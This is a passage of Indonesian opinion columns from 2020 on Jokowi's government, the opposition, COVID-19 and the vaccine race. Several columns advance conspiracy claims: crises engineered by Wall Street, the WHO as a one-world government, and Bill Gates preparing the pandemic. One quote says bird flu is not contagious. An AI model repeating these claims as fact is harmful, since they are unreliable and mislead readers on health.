dengan beban inflasi ditanggung seluruh dunia. Karena hampir seluruh negara menggunakan dollar sebagai uang kedua selain mata uang sendiri. Negara2 kaya lainnya mempunyai tabungan. Belanda dan Kuwait, misalnya, mempunyai "Sovereign Wealth Fund" dari hasil menabung selama bertahun2. Sehingga, mereka punya cash bertahun2 ke depan sampai masalah pandemi selesai. Nasib Negara Indonesia ke depan berhadapan bukan dengan teroris atau oposisi, namun bagaimana negara mampu berhemat. Jika anggaran negara dan birokrasinya bisa di sesuaikan dengan pemasukan pajak yang sangat kecil, maka negara masih akan bertahan. Tantangan kesejahteraan masyarakat tentu sudah di luar kemampuan negara. Masyarakat harus mampu menemukan sendiri jalan kehidupan ekonominya. Dalam sebuah ilustrasi yang rumit, masyarakat di Mesopotamia, Iraq/Syiria, karena situasi perang, berusaha membangun solodaritas ekonomi sesama manusia. Mereka mendirikan "People's Economy" (lihat: mesopotamia.coop) yakni koperasi. Jalan koperasi ini saling mendorong dan melindungi masyarakat untuk mampu berusaha ekonomi. Tantangan Kaum Oposisi Rezim Jokowi meyakini bahwa isu terkait anak-anak eks ISIS, isu Habib Rizieq Sihab, isu Habib Smith, isu Said Didu, isu Rizal Ramli, isu Rocky Gerung, isu Din Syamsudin dan berbagai nama oposisi serta gerakannya adalah pinggiran. Hal ini juga terjadi dengan kekuasaan daerah, seperti Jakarta, yang dijalankan pemimpim umat. Kita sudah menjelaskan diawal, bahwa sekeras keras kepalanya Jahudi, Benjamin Netanyahu dan Benny Gantz melakukan perdamaian. Presiden Afghanistan dan Taliban juga melakukan perdamaian. Dengan strategi itu mereka menentukan musuh besarnya adalah Coronavirus. Jokowi dan rezimnya tentu berkuasa atas struktur negara. Namun, dalam teori sosial, sebuah negara diambang krisis, kunci bertahannya hanyalah pada partisipasi dan kolaborasi. Social Capital bisa jadi lebih penting dari kapital itu sendiri. Kembali pada sisi kaum oposisi, seperti Habib Rizieq, Din Syamsudin, Rizal Ramli, Said Didu, Iwan Sumule, Haris Rusli Moti, Dr. Ahmad Yani dan seterusnya, kunci sukses adalah mengkonsolidasikan solidaritas keummatan yang ada. Tentu saja pekerjaan ini bukan pekerjaan gampang, namun sekali saja terjadi "trust" dan "partisipasi" membangun kekuatan ekonomi dan ketahanan pangan bagi kaum oposisi bisa dilakukan dengan baik. Perlu tiga kunci sukses dalam menjalankan itu. Pertama adalah membangun organisasi. Organisasi ini maksudnya adalah centrum of Trust. Centrum of Trust adalah organisasi dalam pengertian wadah perjuangan, pikiran/konsep "New Life" yang ditawarkan dan sistem interaksi sosial ke depan. Sistem interaksi sosial masa pandemik harus diatur dalam standar ketat. Kedua, adalah pembiayaan. Pada masa lalu saya menawarkan istilah "Habieb Rizieq Trust Fund", sebuah pusat penggalangan dana dari anggota. Ketiga adalah kaum professional. Jika People's Economy of Mesopotamia bisa sukses, seharusnya gerakan oposisi kedepan bisa sukses menolong rakyat yang saat ini sedang kelaparan dan kemiskinan. Penutup Peradaban yang runtuh, negara yang runtuh dan kemiskinan rakyat akan menjadi fenomena ke depan di era covid-19 ini. Era New normal versi Indonesia yang penuh resiko, menciptakan kepastian ke depan tidak ada sehingga meramalkan sukses sebuah rezim sulit dilakukan. Rezim Jokowi yang mengambil posisi tetap bermusuhan dengan kelompok-kelompok oposisi, telah menjadikan adanya segitiga pertarungan dalam situasi sekarang ini, yakni rezim Jokowi vs. Oposisi vs. Coronavirus. Jokowi yang menguasai negara selain harus menghegemoni oposisi, mengalami pelemahan negara akibat dampak ekonomi buruk pandemik telah merontokkan sistem perekonomian. Mengharap bantuan asing juga sulit, sebab mereka juga kesulitan keuangan. Mengobral surat hutang juga sulit karena hutang kita telah terlalu besar. Kelompok-kelompok oposisi yang mempunyai tanggung jawab sosial melindungi masyarakat yang dinaunginya, sudah selayaknya bekerja cepat mengkonsolidasikan solidaritas. Solidaritas itu menyangkut perlindungan rakyat dari kemiskinan dan kelaparan. Gerakan koperasi, sebagaimana dicontohkan "people's economy of Mesopotamia" berhasil menaungi rakyat di daerah Tigris Iraq tersebut. Pemimpin2 kita yang sudah terbiasan dalam setting solidaritas tentunya mampu melakukan hal yang sama dengan membangun organisasi (centrum of Trust). Pertarungan segitiga yang juga dihadapi kaum oposisi, selain menghadapi rezim Jokowi sekaligus Covid-19, harus dimaknai dua hal, pertama rezim Jokowi juga semakin lemah karena dampak coronavirus dan kedua, situasi saat ini justru kelompok2 non kapitalis yang lebih adaptasi dalam menyelamtakan rakyatnya. Penulis adalah Direktur Sabang Merauke Circle

Mayat Akibat Corona Tidak Diotopsi, Dan Tata Negara Yang Berlumpur

By Dr. Margarito Kamis, SH.M.Hum Ketika suatu kerajaan, hasil pajaknya menjadi berkurang karena hal-hal sebagaimana telah kami kemukakan, yaitu kemewahan, banyaknya tradisi, belanja-belanja, penghasilan tidak mencukupi dengan berbagai kebutuhan belanja dan perlu adanya tambahan harta dan pajak, maka kadangkala ditetapkanlah berbagai macam pajak atas transaksi-transaksi jual beli dan pasar-pasar rakyat sebagaimana kami kemukakan pada pasal sebelumnya. (Ibnu Khaldun 1332-1406). Jakarta FNN – Sabtu (30/05). Dunia belum benar-benar aman, bebas dari gempuran Corona. Jerman, China, Perancis, Spanyol memang telah melonggarkan pengetatan sosial. Tetapi dunia masih saja belum benar-benar keluar dari gempuran mahluk ini. Risikonya sejauh ini terlihat masih mengerikan. Indonesia juga belum aman. Namun perlahan-lahan terlihat Indonesia sedang bergerak memasuki pelonggaran pembatasan sosial secara substansial. Kebijakan ini sama sekali tidak berbicara Indonesia telah benar-benar berada di jalur aman. Pertempuran melelahkan ini terlihat masih akan terus menemani Indonesia. Menurut keterangan Pak Ahmad Yurianto, sampai hari ini (Jum’at, 29/5/2020) orang yang positif terjangkit corona sebanyak 678 orang. Total yang terjangkit berjumlah 25.216 orang. Pasien sembuh bertambah sebanyak 252 orang, sehingga total yang sembuh sebanyak 6.492. Yang meninggal 24 orang, sehingga total yang meninggal dunia sebanyak 1.520. Kesembrautan Terencana Semua negara sejauh ini terlihat sama dalam beberapa aspek. Pasien yang dirawat, anehnya diberi nomor. Mereka yang “maaf, sekali lagi maaf, meninggal dunia, tak bisa dilihat keluarga. Maaf almarhum atau almarhumah, diurusi dirumah sakit, dan dibawa langsung ke pemakaman. Keluarga tak bisa, untuk mengatakan. Juga tak diizinkan melihat, apalagi menyentuhnya. Begitukah seharusnya secara klinis? Para dokter dan para ahli virus, harus diakui adalah orang-orang paling kompeten bicara soal ini. Suka atau tidak, mahluk ini bukan mahluk tata negara. Juga bukan mahluk politik. Orang-orang politik dan tata negara jelas harus tutup mulut pada aspek ini. Serpihan-serpihan klinikal corona ini menggambarkan “ada pasien yang memiliki riwayat sakit lain, bawaan. Mohon maaf, sekali lagi mohon maaf, bila pasien, entah nomor berapa itu, berakhir dengan meninggal dunia, apakah pasien itu dinyatakan meninggal karena corona? atau karena penyakit bawaannya? Tak ada penjelasan otoritatif dan kongklusif sejauh ini. Tetapi satu hal pasein sembuh juga meningkat dari waktu ke waktu. Virus mematikan, tetapi masih ada yang sembuh? Aneh? Apa obatnya? Bagaimana cara menangani mereka? Tidak mungkinkah cara dan obat yang digunakan menyembuhkan mereka diekspos? Adakah yang melarang? Untuk apa, bila ada? Ditengah kesembrawutan itu China dan Amerika sedang memacu usaha menemukan vaksin antivirusnya. Pak Mohamad Toha, jurnalis senior FNN, dalam satu artikelnya menyajikan fakta satu dokter China melalukan otopsi pasien yang telah meninggal. Dia menemukan kenyataan klinis yang sama dengan temuan seorang dokter Indonesia (Lihat FNN, 21/5/2020). Pada artikel terakhir, Pak Toha juga menyajikan fakta penuh tanda tanya yang sedang menggunung di Amerika. Bill Gate, yang mengusahakan antivirusnya, dihentikan Trumph. Disisi lain Trump, entah secara official atau privat juga berada di track ini. Trump mengembangkan antivirusnya, (FNN, 28/5/2020). Pertarungan bisniskah? Bill Gate kalah loby? Trumph bekerja untuk Amerika atau dirinya? Dimana World Healt Organization (WHO) dalam trackt ini? Tidak jelas. Padahal WHO yang mendeklarasikan virus ini pandemic. Dalam kerangka itu, WHO memandu dunia tentang apa yang harus dilakukan menghadapi virus ini. Perkara bertali-temali ini, harus diakui sangat menantang dan eksplosif. Sejauh ini Amerika Serikat, dengan Trumph yang sangat independen untuk semua urusan pemerintahannya. Trump bahkan menantang, menghentikan donasinya ke WHO. Disisi lain Trumph lugas menempatkan China sebagai asal virus ini. Menariknya, Central Inteleligent Agency (CIA) justru memberikan pernyataan bernada koreksi atas Trump. Tampilan member kredit besar kepada China? Itu soal lain, yang rumit. Tetapi China menunjukan mereka bukan China tahun 1913. Mereka telah sangat lain dalam banyak hal. Mereka terlihat telah berada, hampir selangkah di depan Amerika. Dalam kasus tuduhan Trumph soal corona, China membuang keengganannya, untuk tak mengirimkan pesan menantang kepada Amerika. China jelas mulai merealisasikan ucapan Mao di hadapan konvensi konstitusional China di Beijing 1949. Kata Mao kala itu, seperti ditulis Ben Chu, Jurnalis Harian Independen London, bangsa China selalu jadi bangsa yang hebat, berani dan giat. Sekarang, bangsa kita, kata Mao tidak akan lagi jadi bangsa yang dijadikan bahan ejekan dan hinaan. Kita telah bangkit. Tahun 1996 sekelompok ilmuan China yang menyusun buku “China Can Say No”, dan pada tahun 2008 kelompok ilmuan yang sama menyusun buku “Unhappy China”. Para ilmuan ini terang mendorong China mengklaim posisinya di panggung dunia. Kata mereka, dengan kekuatan nasional China yang berkembang pada tingkat yang belum pernah terjadi, China harus berhenti menghina dirinya sendiri. China tulis para ilmuan ini harus menyadari fakta bahwa ia sekarang mempunyai kekuatan memimpin dunia. Dalam upaya menantang upaya asing, mereka menambahkan “Anda bisa memulai peperangan, bila anda memiliki keberanian”. Jika tidak “tutup mulut anda.” (Lihat Ben Chu, 2013). Diluar efek klinis, tumpukan kenyataan menunjukan pemerintahan-pemerintahan nasional terjerembab dalam kenyataan memilukan. Industri-industri besar dan kecil, terkapar. Orang-orang, untuk sebagian besar tersandra, terpenjara di rumah. Pekerjaan untuk menghidupkan diri dan keluarga lepas. Ummat beragama, apapun agama itu, terasingkan dari rumah ibadahnya. Masjid-Masjid dan rumah ibadah agama lain pun dilarang dikunjungi ummatnya. Dahsyat betul efek non klinisnya. Apa sesudahnya? Modus Ciptakan Keuntungan Dramanya luar biasa. Detik demi detik dunia tenggelam dalam kenyataan orang mati tiba-tiba atau beberap hari setelah di Rumah Sakit. Panik, panic dan panik. Teriakan Lockdown dan social distancing pun menggema dimana-mana. Pemerintah dunia merespon dengan cara yang satu dan lainnya berbeda. Tetapi apapun itu, gema lockdown dan social distancing akhirnya bekerja, terlepas dari efektifitasnya. Hal barukah fenomena ini? Tidak, sama sekali tidak. Ini fenomena tipikal setiap kali terjadi krisis. Cukup cerdas, atas nama transparansi dan informasi publik, detik demi detik dunia dicekoki derita corona. Panik terus berlangsaung dengan gelombang yang tak berubah. WHO terus muncul digaris depan memberikan informasi ke dunia, penuh semangat, entah transparansi atau melambungkan kepanikan, yang hebat. Ini mirip, dalam level yang bisa dikenali, tampilan IMF dan World Bank dalam krisis keuangan. Nampaknya WHO, seperti juga IMF dan World Bank, tertakdir secara licin menjadi bos besar pemerintah-pemerintah berdaulat di dunia ini. WHO, IMF dan World Bank jadinya seperti pemerintah satu dunia, one world goverment. Negara-negara berdaulat di dunia, suka atau tidak. Sebagai rakyat dari pemerintah satu dunia itu. Dunia dirancang untuk pada saatnya harus tunduk pada WHO. Pada saat lain harus tunduk pada IMF dan World Bank. Corona menempatkan WHO sebagai leader penanganan. Itu serkarang. Suka atau tidak diujung jalan ini, dunia ditunggu dan akan menyembah pada IMF dan World Bank. Tidakkah negara-negara didunia segera setelah ini berurusan dengan utang dan utang? Tidakkah negara-negara di dunia saat ini telah terlilit pelambatan ekonomi kronis. Kas negara-negara itu sedang keropos abis? Pembaca FNN yang budiman, luangkanlah sedikit waktu untuk melintasi masa lalu. Masa-masa krisis yang pernah terjadi. Disepanjang lintasan itu, ditemukan satu kenyataan. Inti dan muara krisis adalah ekonomi. Krisis muncul sebagai cara hitam, licik, tamak dan culas untuk mengubah secara radikal tata kelola ekonomi dan tata negara. Tidak lain dari itu. Perang Dunia Pertama tahun 1914, dan krisis ekonomi hebat tahun 1929 misalnya, jelas dan terang semua sebab serta hasil akhirnya. Krisis adalah satu-satunya cara paling andal industrialis, korporat merealisasikan ide-ide ekonominya. Penyebab dan modusnya saja yang berbeda. Tetapi hasil akhirnya tetap saja sama. Keuntungan ekonomi yang berlipat-lipat. Tidak lebih. Krisis besar selalu begitu. Mengancurkan tatanan yang sudah ada, terutama ekonomi. Kerusakan ini, tentu harus dipulihkan. Karena bobot dan skala kerusakannya, pemerintah harus bekerja secara tidak biasa. Pemerintah harus luar biasa dan progresif. Progresif dalam konteks ini, tidak pernah lain dari maksud dan esensinya, selain bekerja melampaui batas demarkasi dan konstitusi yang sudah baku. Ketentuan konstitusi, kalau tak dikesampingkan, harus diberi tafsir, bobot yang baru. Bekerja melampaui demarkasi konstitusi inilah yang ditolak oleh Herbert Hovert, Presiden Amerika yang pada pemerintahannya krisis ekonomi hebat tahun 1929 berawal. Menurut Anthony Sutton dalam buku FDR and The Wall Street, dan Hitler and Wall Street juga Ralph Epperson dalam “Invisible Hand” menemukan kenyataan, krisis ekonomi hebat itu terencana dan direncanakan. Du Pond dan Rockeffeler Group bekerja untuk Franklin Delano Rosevelt (FDR) memimpin Amwerika. Hovert harus tersingkir. Itu sebabnya Sutton terang-terangan menunjuk industrialis Wall Street berada dibalik krisis itu. Dan segera setelah FDR menjadi Presiden bergemalah cara kerja progresifnya. Konsep yang menurut Herbert Hovert bersifat fasis itu. Progresif, untuk sebagian merupakan terminologi tipuan. Kreasi menutupi isi otoritarian di dalamnya. Konsep ini melahirkan konsekuensi pemerintah mengendalikan semua aspek kehidupan rakyat. Depresi dan kegagalan pasar yang unregulated, mengakibatkan pemerintah harus melakukan intervensi. Presiden memegang control utama penyelenggaraan pemerintahan (Lihat Brian D. Feinstein, Congres in the Administrative State, Dalam Coase-Sandor Institute Law and Economic, 2017). Praktis krisis ekonomi hebat tahun 1933 meruntuhkan tesis klasik Adam Smith tentang laissez-faire. Ini disebabkan recovery ekonomi membutuhkan tindakan kordinatif dan planning pemerintah (lihat Cass R, Sustein, dalam Constitutionalism After The New Deal, dalam Harvard Law Review Vol.101, 1987). Demokrasi dalam kasus ini, sama sekali bukan tentang pemerintah partisipatif. Sekali lagi bukan itu. Mengapa? Kordinasi dan planing tak selalu sama dengan mengadaptasikan kehendak rakyat. Planing dan kordinasi tetap saja berwatak administrative, untuk tak mengatakan teknokratik. Toh presiden dapat langsung merealisasikan kebijakannya melalui Executive Order. Tiga Executive Order, didentifikasi Ralph Epperson digunakan FDR mewujudkan kebijakannya. Pertama, rakyat harus menjual emasnya sesegera mungkin ke Bank. Setelah rakyat melakukannya, lalu FDR mengeluarkan Executive Order lagi. Kali ini FDR menurunkan nilai dollar. Apa akibatnya? Uang yang telah ada ditangan yang menjual emas berkurang nilainya. Mereka rugi. Tapi tak bisa berbuat apa-apa. Setelah itu, keluar lagi Executive Order ketiga, yang isinya meliburkan bank. Ini dikenal dengan Bank Holiday. Begitu Bank dibuka, emas yang di bank telah melayang Bank of England. Selalu selangkah lebih di depan mendahului ilmuan tata negara konvensional. Perencana new deal telah menyediakan lebel baru untuk pemerintah jenis itu. Apa namanya? Brian D. Feinstein dalam Congress in the Administrative State, dimuat pada Coase-Sandor Institute for Law and Economic, 2007, menyebut administrative state, bukan authoritarian state. Hebat. Apa tipikal organiknya? Selain presiden berada di orbitnya, dibentuk badan yang didisebut executive agency, sebagai executive branch. War Industries Board, misalnya (catatan dibentuk pada masa Woodrow Wilson dan dipimpin oleh Bernard Baruch). Pada masa krisis, badan ini disuport habis oleh corporate executive. Pada masa FDR dibentuk, beberapa diantaranya Federal Emergency Administration of Public Workers, National Labour Relation Board, Labor Advisory Board dan Consumer’s Advisory Board. Tampilan tata negara macam inikah yang akan muncul setelah Corona, terutama di Indonesi? Tidak. Tetapi siapa di dunia ini yang akan keluar sebagai pemenang ekonomi dalam krisis ini? Pembaca FNN yang hebat, silahkan baca disertasi Anggela Lanette Smith. Judulnya Economic Revolution From Withim: Herbert Hovert, FDR and The Emergency of National Industrial Recovery Act. Disertasi ini dipertahankan di hadapan sidang senat Wayne State University tahun 2015. Cukup jelas Enggela menunjukan dalam nada yang datar, korporasi besar keluar sebagai kelompok yang berkibar. Baik pada saat itu maupun setelah krisis terjadi. Lupakan dulu otopsi. Perlu tidaknya dilakukan otopsi terhadap mayat-mayat yang dikubur dengan menggunakan standar protokol corona vorsi WHO. Namun pertimbangkanlah siapa itu korporasi berskala dunia yang akan berkibar dengan vaksin anti corona. Korporasi mana di Indonesdia yang akan bergembira menikmati kebijakan pemulihan dampak ekonomi virus ini? Satu hal, yang pasti negara-negara kecil, yang ekonominya keropos, termasuk Indonesia akan mempertahankan reputasinya sebagai tukang utang paling gemilang. Dan rentenir Internasional terus berkibar sebagai rentenir yang selalu untung. Suka atau tidak, itu nyata terjadi. Penulis adalah Pengajara Hukum Tata Negara Universitas Khairun Ternater

Perlawanan Politik Ruslan Buton

By Asyari Usman Jakarta, FNN.co.id - Sekarang ini, sedang viral ‘perlawanan politik’ yang dilakukan oleh Ruslan Buton. Dia adalah seorang tentara yang diberhentikan dari TNI AD. Kesalahannya, menurut Mahkamah Militer Ambon, terlibat pembunuhan. Selain dipecat, Ruslan juga dihukum penjara 22 bulan. Dia bebas pada akhir 2019. Kalau mahkamah militer memvonis Ruslan sebagai pembunuh, tidak begitu halnya di mata warga Kecamatan Lede, Kabupaten Pulau Taliabu, Provinsi Maluku Utara. Warga menganggap Ruslan sebagai ‘pahlawan’. Menurut berbagai tulisan online, termasuk BeritaFajarTimur-Com edisi 10 Juni 2018, Ruslan berhasil ‘menghentikan’ kesewenangan seorang penjahat. Namanya LG. Yang dikatakan punya kelompok sadis. Inilah ‘background’ singkat Ruslan Buton. Mantan kapten AD yang berpostur tegap itu, saat ini menunjukkan bahwa dia ingin menyelamatkan Indonesia. Tak tanggung-tanggung. Dia menulis surat terbuka yang divideokan. Video itu kemudian viral sejak 18 Mei 2020. Di dalam orasi video itu, Ruslan meminta agar Presiden Jokowi mengundurkan diri. Dikutip dari CNNIndonesia, Ruslan berkata, "Namun bila tidak mundur, bukan menjadi sebuah keniscayaan akan terjadinya gelombang gerakan revolusi rakyat dari seluruh elemen masyarakat, seluruh komponen bangsa dari berbagai suku, ras dan agama." Gara-gara surat ini, Ruslan berurusan dengan kepolisian. Kemarin, 28 Mei 2020, dia dibawa polisi. Penangkapan ini sangat ‘high profile’. Sampai-sampai Densus 88 ikut turun. Ada sejumlah pamen polisi dan militer yang mendatangi rumahnya di Desa Wabula, Kecamatan Wabula, Kabupaten Buton, Sulawesi Tenggara. Nah, bisakah dipercaya bahwa Ruslan sedang melakukan ‘perlawanan politik’? Mungkinkah ada ‘X-factors’ dalam drama ini? Bagi saya pribadi, saya bersangka baik saja. Saya yakin Ruslan adalah bagian dari banyak orang, bisa jutaan atau puluhan juta, yang sedang resah melihat cara negara dan pemerintahan dikelola. Kalau jutaan orang lainnya memilih diam membisu dalam ketidakberdayaan, Ruslan tampil beda. Dia langsung ‘menghadap’ Jokowi. Bisa dipahami. Di dalam dirinya pastilah masih mengalir berliter-liter darah yang tak mengenal takut. Karena itu, saya tidak skeptis tentang motif Ruslan. Saya tak percaya ada ‘faktor-faktor X’ yang memantik perlawanan politik warga Kecamatan Lede ini. Menurut hemat saya, Ruslan memang murni merasa tak nyaman dengan situasi akhir-akhir ini. Mungkin dia telah melakukan observasi yang serius dan panjang terhadap hiruk-pikuk politik Indonesia. Sangat mungkin pula, Ruslan telah mengumpulkan banyak catatan buruk tentang penyelenggaraan pemerintahan. Misalnya, tentang keanehan-keanehan yang terkait dengan investasi China. Tentang tenaga kerja China yang masuk ke negara ini dengan legal maupun tidak legal. Tentang utang yang menumpuk. Tentang jebakan utang China. Dan tentang pengaruh China yang semakin besar di Indonesia. Boleh jadi Ruslan mengikuti berita, laporan, komentar, dlsb, mengenai makin banyaknya impor produk makanan, pertanian, dan manufaktur yang datang dari China. Sehingga, seperti dikatakan banyak orang, Ruslan pun berkesimpulan bahwa apa saja yang diperlukan Indonesia didatangkan dari China. Sehingga pula, kedaulatan negara ini bagaikan berpindah ke genggaman China. Bisa jadi juga Ruslan banyak mengamati diskusi dan diskursus tentang komunisme dan gejala kebangkitan PKI di negeri ini. Tentang sisa-sisa PKI yang semakin percaya diri, dll. Tentang pemameran lambang atau simbol PKI dan komunisme yang semakin sering terjadi. Di berbagai pelosok negeri. Mungkin pula Ruslan ikut mengamati ketimpangan dalam penegakan hukum dan keadilan. Boleh jadi mantan tentara ini sependapat dengan banyak orang bahwa hukum hanya dibuat untuk mengikat rakyat jelata. Tidak untuk elit politik dan elit ekonomi-bisnis. Tidak untuk para pengusaha dan konglomerat rakus yang mengeruk kekayaan Indonesia tanpa syarat, tanpa batas. Barangkali, semua ini membisikkan kekhawatiran ke telinga Ruslan. Yang kemudian, mungkin, menggiring pikirannya untuk menyimpulkan bahwa kedaulatan rakyat atas NKRI ini sedang terancam. Wallahu a’lam. Lantas, apakah Ruslan Buton sendirian? Tampaknya tidak. Sekarang ini sudah bermunculan tagar-tagar yang bertajuk dukungan untuk Pak Kapten.[] 29 Mei 2020(Penulis Wartawan Senior)

Adu Cepat China dan AS Bikin Vaksin Covid, Bisakah Indonesia Mandiri?

Oleh Mochamad Toha Jakarta, FNN - Hasil otopsi pasien korban Virus Corona atau Covid-19 di China maupun Italia menunjukkan bahwa yang diserang itu adalah paru-paru. Sehingga, pada akhirnya pasien mengalami sesak nafas dan tidak bisa bernafas sama sekali. Beijing Institute of Biotechnology dan CanSino Biological akhir bulan lalu mempublikasikan soal vaksin corona yang dikembangkan. Dalam uji klinis tahap awal vaksin ini telah berhasil memicu antibodi penawar pada puluhan pasien. Hasil penelitian ini pun dipublikasikan di jurnal kesehatan The Lancet pada Jumat pekan lalu. Vaksin itu bernama Ad5-nCoV. Vaksin ini diujikan ke 108 orang dengan usia 18-60 tahun dengan dosis rendah, sedang, dan tinggi. Masing-masing kelompok terdiri dari 36 orang. Kandidat uji coba vaksin diinduksi dengan antibodi yang mengikat pada sebagian besar pasien corona yang telah terjangkit 28 hari. Dalam uji coba vaksin ini, pada hari ke-28, pasien yang mendapat dosis vaksin rendah dan menengah menunjukkan, pada pasein adanya antibodi penawar dibandingkan dengan pasien dalam kelompok dosis tinggi. Menurut para ahli, konsentrasi antibodi penawar ini penting untuk mendapatkan perlindungan dari virus. Para peneliti juga menganjurkan agar dilakukan penelitian lebih lanjut dan uji coba dengan lebih banyak relawan sebelum vaksin dihadirkan buat publik. “Hasil ini merupakan tonggak penting,” ungkap Wei Chen, profesor di Institut Bioteknologi Beijing dan pemimpin penelitian kepada para media, seperti dikutip dari CNBC International, Senin (25/5/2020). “Namun harus ditafsirkan dengan hati-hati. Tantangan dalam pengembangan vaksin Covid-19 belum pernah terjadi sebelumnya, dan kemampuan untuk memicu respons kekebalan ini tidak selalu menunjukkan bahwa vaksin tersebut akan melindungi manusia dari Covid-19.” Informasi saja, menurut World Health Organization (WHO) ada 9 vaksin yang diujikan ke manusia. Vaksin Ad5-nCoV merupakan yang paling maju karena sudah masuk uji klinis fase 2 dari tiga tahun. Fase 2 sudah dilaksanakan pada April 2020. Sayangnya hasil penelitian fase 1 tidak dipublikasikan di jurnal kesehatan. Ketika memasuki fase 2, CanSino hanya menyatakan pihaknya bergerak ke uji klinis fase 2 berdasarkan “data keselamatan awal” dari fase 1, yang melibatkan 500 orang. Bagaimana dengan Amerika Serikat? Berita yang dilansir CNN Indonesia, Senin (18/05/2020 10:07) berjudul “Program Tes Covid-19 Bill Gates Dihentikan Pemerintah AS” ini menarik untuk dikaji. Badan Pengawas Obat dan Makanan (The US Food and Drug Administration/FDA) Amerika Serikat memerintahkan program pengujian virus corona (Covid-19) di Seattle yang didanai pendiri Microsoft Bill Gates di Seattle dihentikan hingga batas waktu yang ditentukan. FDA mengatakan bahwa program pengujian yang menawarkan kit pengujian secara mandiri di rumah itu boleh dilanjutkan jika sudah mendapat persetujuan tambahan. Program bernama SCAN atau Seattle Coronavirus Assessment Network itu telah diuji pada 300 orang sebelum diperintahkan berhenti. SCAN diklaim tidak bermaksud menggantikan pengujian negara yang sudah tersebar luas, melainkan untuk mendeteksi lebih jelas tentang bagaimana Covid-19 itu menular melalui komunitas yang berada pada risiko terbesar dan apakah tindakan jarak fisik efektif bekerja. Melansir Business Insider, situs web SCAN mengunggah informasi terbaru yang mengatakan bahwa FDA memerlukan Emergency Use Authorization (EUA) untuk tes virus corona yang dilakukan secara mandiri. FDA mengatakan, programnya tersebut harus dikenai pedoman pengujian diagnostik karena mengembalikan hasil kepada pasien. Dalam informasi itu dikatakan FDA belum menemukan masalah keamanan dan keakuratan tes SCAN. Meski demikian seorang juru bicara FDA mengatakan bahwa masalah penghentian program tampaknya terkait kategorisasi dan penggunaan tes SCAN. Tes itu dikategorikan sebagai tes pengawasan yang hanya digunakan peneliti dan tak bisa diberikan kepada pasien atau dokter untuk tujuan diagnostik. SCAN diluncurkan pada awal Maret dengan pendanaan dari Gates Foundation. Program itu merupakan kolaborasi antara Seattle dan King County Public Health Department dengan sejumlah universitas dan rumah sakit. Lewat blog pribadinya, Gates menjelaskan program pengujian SCAN merupakan kelanjutan dari program penelitian flu yang pernah ditemukan pada tahun 2018, yakni Seattle Flu Study. Program itu sebelumnya melacak penyebaran flu selama musim 2018 dan mendeteksi kasus virus corona pertama di Amerika Serikat pada Februari 2020. WHO mengatakan, pengujian luas diperlukan untuk menghentikan pandemi. Namun, data menunjukkan AS masih tertinggal dari negara lain dalam pengujian per kapita. Melansir The Hill, Gates mengatakan program SCAN bisa menjadi alat yang efektif dalam memandu respons kesehatan masyarakat. “Tidak hanya akan membantu meningkatkan pemahaman kita tentang wabah di Seattle, itu juga akan memberikan informasi berharga tentang virus untuk komunitas lain di seluruh dunia,” tulis Gates dalam postingan blognya. Di sisi lain, kekhawatiran juga tengah terjadi akibat efektifitas tes antibodi virus corona, yang semula diklaim bisa mengukur seseorang sebelumnya memiliki Covid-19. SCAN sendiri diketahui tidak menguji antibodi. Bersamaan dengan penghentian program SCAN Gates itu, Presiden Donald Trump menunjuk seorang ilmuwan muslim sebagai kepala program Vaksin Corona, Moncef Mohamed Slaoui, seorang ahli imunologi yang lahir dan besar di Maroko. “Kepala peneliti Operation Warp Speed adalah Dr Moncef Slaoui, seorang ahli imunologi yang diakui dunia dan telah membantu pembuatan 14 vaksin baru. Banyak vaksin (kami), selama 10 tahun dia mengabdi di sektor swasta,” kata Trump dikutip dari DAWN. Presiden Trump juga mengatakan Dr Moncef Slaoui adalah salah satu sosok yang sangat dihormati di dunia. Terutama dalam bidang produksi dan pembuatan atau formulasi vaksin untuk berbagai penyakit. Operation Warp Speed adalah nama program yang digagas Trump, untuk mempercepat penemuan vaksin corona dan penyebarannya ke seluruh Amerika. Dr Moncef Slaoui nantinya dibantu General Gustave F Perna. “Saya baru melihat data terbaru dari uji coba klinis vaksin virus corona. Data ini membuat saya yakin kita mampu membuat dan mengirim ratusan juta dosis vaksin pada akhir 2020,” kata Dr Moncef Slaoui yang lahir pada 1959 di Agadir, Maroko. Dikutip dari Morocco News World, Dr Moncef Slaoui sempat menjadi kepala departemen vaksin di GlaxoSmithKline dan berkarir selama 30 tahun di salah satu perusahaan obat besar dunia tersebut. Beberapa vaksin yang dihasilkan Dr Moncef Slaoui adalah Rotarix, Synflorix, dan Cervarix. Rotarix untuk mencegah gangguan pencernaan (gastroentritis) pada bayi, Synflorix untuk penyakit pneumococcal, dan Cervarix untuk mengatasi kanker serviks. Tampaknya di balik perintah penghentian pengujian SCAN Gates itu ada persaingan bisnis “pribadi” antara Gates dan Trump yang sudah menyiapkan Dr Moncef Slaoui untuk menjadi Kepala Operation Warp Speed yang digagas Trump itu. Tidak salah kalau kemudian Mantan Menteri Kesehatan Siti Fadilah Supari blak-blakan soal flu burung, virus corona, dan Bill Gates. Menurut Siti Fadilah, saat itu dia membuktikan virus flu burung tidak menular. “Saya membuktikan virus flu burung tidak menular. Saya protes ke PBB setelah itu stop vaksin. Saya stop flu burung tidak pakai vaksin tapi pakai politik,” katanya. Pada saat itu vaksinnya dijual ke Indonesia. Kalau dijual ke Indonesia mahal dan kita harus ngutang. Siti Fadilah juga mengungkapkan keanehan pada Bill Gates. Ia mengungkapkan keanehan pada Bill Gates yang mempersiapkan vaksin. “Ada sesuatu yang aneh, saya ikutin Bill Gates ini di forum ekonomi internasional awal tahun,” ujarnya. Menurut Siti Fadilah, di situ Gates menggebu-gebu bahwa nanti akan ada pandemi. Anehnya dia juga mempersiapkan vaksin. Kenapa ada pandemi selalu ada vaksin. Kenapa pandeminya tidak vaksindiselesaikan? “Dia kan bukan dokter, mengapa dia begitu fasih menganalisa akan terjadi pandemi?” tanya Siti Fadilah. Menganalisa dunia akan butuh vaksin sekian miliar. “Untuk saya, itu sesuatu yang tidak masuk di akal saya. Ada apa sih, dia kan pebisnis, ahli komputer, mungkin dia ahli virus, tapi virus komputer, tapi virus manusia berbeda,” imbuh Siti Fadilah ini. Soal virus corona, Siti Fadilah mengatakan, setiap pandemi dan munculnya vaksin itu bisa ditebak ada “udang di balik batu”. Kalau orang tidak siap sebelum pandemi, orang pasti bingung. “Ini ada sekelompok yang malah siap vaksinnya (virus corona) gitu,” tuturnya. “Ibu mencurigai ini buatan dia (Bill Gates)?” ketika ditanya Deddy Cobuzier. “Saya tidak mencurigai tapi semua orang bisa berpikir sendiri. Kalau semua orang dia support, at least harus menghormati yang support,” ucap Siti 